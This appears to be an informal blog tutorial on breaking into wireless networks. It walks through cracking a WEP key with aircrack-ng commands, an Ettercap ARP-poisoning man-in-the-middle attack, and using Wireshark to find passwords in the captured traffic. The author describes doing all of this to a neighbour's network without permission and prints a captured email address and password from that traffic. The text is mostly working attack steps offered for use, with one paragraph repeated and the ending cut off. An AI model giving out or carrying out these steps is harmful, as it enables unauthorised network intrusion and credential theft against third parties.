Hacking Wireless Networks

 

 -What I will be Going Over-

In this article, I don’t plan on giving you any bullshit. I don’t plan on hinting towards how

to break into a wifi network, I will show you how to break into a wifi network. I will do it simple
steps, and only break them down if I feel that you will need it or can benefit from knowing it.
The following subjects I will touch on include the following:

1. Brief Introduction to Backtrack

2. Cracking the WEP Key (we will go over WEP cracking, I may write another one on
WPA a bit later…)
3. MITM Attack
4. Basic Network Analysis
-Brief Introduction to Backtrack-
Backtrack is something that is essential, in my opinion, to be in any hackers toolbox. It
is a live-linux cd that is compatible with most laptops (Just for reference sake, I am using my
Eee PC with an external DVDRom drive to boot it). All you have to do is go to www.remoteexploit.
org and download the ISO that fits what you would like to use it on (CD, DVD, or
USB/SD). Once you do that, you will need to to stick the CD/DVD/USB/SD into your laptop,
and restart. When you restart, you must hit whatever key you need to do load the boot
options, for most computers it’s F8 or F9, for mine, it’s the ESC key. Once you boot into it, you
will have to go through a few menus, basically all you have to do is keep hitting enter until the
KDE loads.
When the boot is finished, you should see a screen similar to this:

-Cracking the WEP Key-

Note: For reference, since not all parameters are the same for each laptop, I have put them as variables ($) where
you plug in what is necessary for you.
1. Open a new shell prompt:

1. Type airmon-ng to see what interfaces are available. As you can see I have 2

interfaces, wifi0 and ath0, but wifi0 is the parent of ath0, so this will be a bit tricky. Most
laptops only have one interface.
2. Type airmon-ng stop ath0 to stop the ath0 interface
3. Type airmon-ng start wifi0 so it puts ath0 into monitor mode

4. Type clear to clear the screen then type ifconfig ath0 down
5. Now we need to change the MAC address, to do this type macchanger –mac
00:11:22:33:44:55 ath0

6. Now we need to turn our interfaces back on by typing airmon-ng start wifi0

 7. Now we get down to the meat and bones, we can start scanning for networks by typing
in airodump-ng ath0

8. If you already know the ESSID of the network you would like to crack the WEP key for,
go right ahead and crack it, but because I am doing this on a neighbor, I took a guess
that it was the one with the highest PWR. Which is linksys—- (blocked out for security
purposes)

9. Now we are going to single that network out by typing in the following:
airodump-ng -c $CHANNEL -w wepcrack –bssid $BSSID ath0

  

10.Now our goal is to get the #Data field to reach around 10,000 (just to be safe) so we
have to provoke the data by first associating ourselves with the network. Do this by
typing aireplay-ng -1 0 -a $BSSID -h 00:11:22:33:44:55 -e $ESSID ath0
i don’t think I would need to break this down for you, to do this, I am sure you can just
look at what I did for each of the variables and plug in your own.

11.Now that were associated, we can start sending packets back to the network, therfore
increasing the amount in the #Data field. We do this by typing in aireplay-ng -3 -b
$BSSID -h 00:11:22:33:44:55 ath0

12.Once you think the #Data has climbbed to a decent amount, open a new shell prompt
and type the following: aircrack-ng -n 64 -b $BSSID wepcrack-01.cap

Congratulations! We just cracked our first WEP key. Now what I am going to do is
restart my laptop and boot into my regular OS and connect to the network now that I have the
WEP key.

-MITM Attack-

In order to intercept their packets, we will need to find some way to take all their
internet traffic, forward it to our laptop, then to the internet. How do we do this? Yup, a MITM
attack. Here is a simple picture to demonstrate:
So now you may be asking, how do I do this!? Ettercap is the answer, if your doing this
on a Windows machine, your going to have to google it to install it, but if your on *nix, you can
download and install it simply by typing sudo apt-get install ettercap
Once it

 So now you may be asking, how do I do this!? Ettercap is the answer, if your doing this

on a Windows machine, your going to have to google it to install it, but if your on *nix, you can
download and install it simply by typing sudo apt-get install ettercap
Once it is done, we can open the GUI for it by typing sudo ettercap -G into the shell

1. Go to Sniff > Unified Sniffing and then choose your interface, mine, of course, is ath0
2. From there go to Hosts > Sccan for Hosts

3. Now we need to see what hosts are up, do this by going to Hosts > Host List

4. Now, since it is common sense that usually the *.*.*.1 IP is the router, we are going to
highlight that, and click Add to Target 1, and since I don’t know what all the other IP’s
go to, I will highlight all the other IP’s and click Add to Target 2
5. Go to MITM > arp poisoning and press ok, don’t check any of the boxes.
6. Now go to Start > Sniffer
7. Minimize ettercap

-Basic Network Analysis-
Finally, we can now start analyzing traffic from their network, this does take a lot of
patience and luck though, because they have to be using the internet at the exact time that
you are connected to their network. What I did was simply left my laptop running for about an
hour during the evening.

1. Download wireshark by typing sudo apt-get install wireshark, if your on Windows,
again, google it. You can open it by simply typing sudo wireshark into a shell

2. Go to Capture > Interfaces and choose the interface you would like to use. To choose
it, click Start that is next to the interface, you can kind of get an idea of what interface
to use because of the amount of packets going in and out of it.

NOTE: DO NOT CHOOSE ANY, it won’t work.
3. Now we just have to sit back and wait till we get a bunch of packets, I left mine running
for about an hour and gathered about 35,000 packets. As you can imagine, that is a lot
of packets to skim through on a laptop, and will take forever to search for one query, so
I have saved the pcap file (file > save) and will analyze it on my desktop machine,
which has a bit more capacity to handle things like this quicker.
4. Now that we have all these packets, we can start looking for certain filters, to do this
press CTRL+F and click the By String bubble.
5. Since I would like some passwords, type password into it, and see what we get.
6. Success! As you can see below, it found a packet that has the word password in it!

7. Now we must right click the packet highlighted, and go to Follow TCP Stream you will
be prompted with something that looks like this:

8. I’m sure you can’t see this because the picture is a bit small, but if you zoom in, you will
be able to see Email_Textbox=dex-12%40yahoo.com and
Password_Textbox=th4l1fe

-Closing Notes-

I really do hope you’ve learned a decent amount from this article, if you have any
questions at all, just Contact me. Just a side note, the person I did this
on, a neighbor around the corner,

THANKS TO ALL VISITORS